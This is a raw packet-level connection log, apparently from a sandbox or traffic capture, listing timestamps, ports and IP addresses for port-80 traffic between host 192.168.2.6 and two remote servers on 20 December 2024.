Dec 20, 2024 17:43:47.318960905 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.319076061 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.319134951 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.319967031 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.320022106 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.320379019 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.320808887 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.320960045 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.321003914 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.321594954 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.321640015 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.322043896 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.322098017 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.322194099 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.322231054 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.323026896 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.323085070 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.323447943 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.323533058 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.324161053 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.324217081 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.324352026 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.324398041 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.325122118 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.325404882 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.325453997 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.326174974 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.326318026 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.326354980 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.326394081 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.327182055 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.327234983 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.327761889 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.327814102 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.328248978 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.328705072 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.328756094 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.329284906 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.329375982 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.329422951 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.329476118 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.329488039 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.329566002 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.330323935 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.330377102 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.330585957 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.330637932 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.331398010 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.331449032 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.331526995 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.332406044 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.332442045 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.332448959 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.332483053 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.333441019 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.333494902 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.333673000 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.333714962 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.333772898 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.333785057 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.333877087 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.334598064 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.334650993 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.334992886 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.335043907 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.335530043 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.335578918 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.335643053 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.335876942 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.336683989 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.336796999 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.336821079 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.336963892 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.337809086 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.337925911 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.337955952 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.337982893 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.338691950 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.338784933 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.339186907 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.339243889 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.339725971 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.339775085 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.339812040 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.340078115 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.340732098 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.340801001 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.340980053 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.341023922 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.342137098 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.342264891 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.345197916 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.345330954 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.345643997 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.345791101 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.353676081 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.353759050 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.353802919 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.353802919 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.362035036 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.362132072 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.362198114 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.362261057 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.370460987 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.370548964 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.370722055 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.370841026 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.378915071 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.379156113 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.379875898 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.380078077 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.387376070 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.387460947 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.387481928 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.387572050 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.395760059 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.395862103 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.395881891 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.395994902 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.404192924 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.404540062 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.404748917 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.455991030 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.456023932 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.456113100 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.485133886 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.485193968 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.485382080 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.485728979 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.485742092 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.485780954 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.485812902 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.486645937 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.486788988 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.487073898 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.487128019 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.488007069 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.488018990 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.488064051 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.489458084 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.489794016 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.489805937 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.489850044 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.489883900 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.489938974 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.490823030 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.490883112 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.490900040 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.491107941 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.491867065 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.492032051 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.492091894 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.493094921 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.493154049 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.493278980 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.493407965 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.494013071 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.494069099 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.494224072 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.494371891 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.495023966 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.495125055 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.495171070 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.496049881 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.496102095 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.496182919 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.496803999 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.497101068 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.497307062 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.497358084 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.498094082 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.498267889 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.498307943 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.498399973 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.499187946 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.499248981 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.499608040 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.499685049 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.500262976 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.500320911 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.500349045 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.500796080 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.501429081 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.501522064 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.501568079 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.502312899 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.502490044 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.502509117 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.502526045 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.503333092 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.504411936 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.504424095 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.504472017 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.504507065 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.504549980 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.505371094 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.505414963 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.505779028 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.505831003 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.506416082 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.506480932 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.506897926 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.506958961 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.507457972 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.508310080 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.508359909 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.508589983 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.508600950 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.508646965 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.509553909 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.509608984 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.509898901 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.510646105 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.510696888 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.510766983 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.511555910 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.511625051 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.511754036 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.512254000 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.512737989 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.512749910 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.512790918 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.512820005 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.513840914 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.513895035 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.514297962 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.514349937 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.514746904 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.514801025 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.515116930 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.515816927 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.515863895 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.516869068 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.516880989 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.516935110 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.516962051 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.517131090 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.517921925 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.518134117 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.518184900 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.518907070 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.519032001 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.519082069 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.520251989 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.520315886 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.520595074 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.520648003 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.521049023 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.521060944 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.521096945 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.521137953 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.521456003 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.521646023 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.521770000 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.522047997 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.522090912 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.522228956 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.523062944 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.523108006 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.523247004 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.523341894 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.523973942 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.524149895 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.524162054 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.524211884 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.524228096 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.524305105 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.524344921 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.525410891 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.525432110 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.525460005 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.525480032 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.526329994 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.526382923 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.526407003 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.526443005 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.527231932 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.527287006 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.527384996 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.527431011 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.528275967 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.528808117 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.529019117 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.529061079 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.529134035 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.529145002 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.529305935 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.529405117 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.529417038 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.529443979 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.529473066 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.530340910 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.530654907 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.530700922 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.531392097 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.531443119 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.531742096 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.532448053 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.532510042 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.532596111 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.532794952 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.533483028 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.533539057 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.533896923 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.533947945 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.534039974 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.534051895 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.534094095 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.534528017 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.534583092 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.534702063 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.534751892 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.535589933 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.535643101 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.535723925 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.535965919 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.536592960 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.536662102 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.536711931 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.537640095 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.537689924 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.537740946 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.538693905 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.538764000 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.538794994 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.538830042 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.539096117 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.539165020 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.539833069 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.539843082 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.539901018 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.540783882 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.544222116 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.544533968 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.544639111 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.549113035 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.549252033 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.549335957 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.554097891 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.554176092 CET	49776	80	192.168.2.6	194.126.174.112
